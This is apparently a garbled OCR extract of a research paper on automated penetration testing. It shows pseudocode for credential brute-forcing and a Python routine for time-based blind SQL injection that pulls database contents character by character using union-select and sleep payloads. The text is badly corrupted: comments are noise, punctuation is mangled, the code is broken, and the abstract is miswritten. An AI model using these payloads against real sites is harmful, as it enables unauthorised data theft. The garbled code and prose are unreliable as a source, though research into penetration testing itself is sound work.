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[ Abstract] In order to effectively threaten the network and improve the security of the system, this paper conducts penetration test
on the system in trial operation, and detects the security problems in the system as early as possible. According to the principle and
process of artificial penetration, this paper proposes a penetration test method based on automation. This method completes the
vulnerability detection of the system through the automatic scanning, automatic judgment and automatic penetration of the target
host. The experiment shows that this method can improve the overall work efficiency of penetration test and save the time cost.
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Fig. 1 Penetration attack process
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connecting ip;

Initialization //#] i1k

define chardataU[ U_MAX] //

define chardataP[ P_MAX] //

dataU = U; /7 ¥§ 7 24 7 s DL 2184 v

dataP = P; // B850 HLEE U1 21 82l v

Asc_sort(dataU) ;  // %] 7 44 S ML R4 422 T
FefER?

Asc_sort(dataP) ;  // % %7 #BHE ¥ T
HEe

int low, high, mid;

charu, , p, ;

int low=0,high , mid;
high=MAX-1;

/ # JHPT ARG /
Low=0;

high= U_MAX -1;
while(low! =high)

{

mid = (low+high)/2;

if (dataU[ mid]! =u; )
{

if (dataU[ mid ] > u; )
high=mid-1;

else if(dataU[ mid ] < u; )
low=mid+1;

%

else return u; ;
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url_dump = ‘http://%s/? id=-1\" union select
{inc}if( ord (mid ( (select group_concat ( { column_
name | ) from {table_name}), {pos}, 1)) {op|
{ord}, sleep(2.5), 1) ;——+" % url_part

req_count = 0

sleep_count = 0

def binary_search(url, low, high) .

gt = °>7
It = <
eq = =7

while low <= high.

mid = (low + high) // 2

if judge(url % (eq, mid) ) ;
return mid

elif judge(url % (gt, mid) ) ;

low = mid + 1

else .
high = mid - 1
return —1

def dump_binsearch ( column_count, table_name,
column_name) ;

data = ~

pos = 1

inc = make_union( column_count )

while True:
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url = url_dump. format (inc = inc, pos = pos,
op = “%s’, ord = “%d’, table_name = table_name,
column_name = column_name )

ord = binary_search(url, low, high)

if ord > -1

data += chr(ord)

pos += 1

continue

else:

return data
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Tab. 1 Penetration attack information
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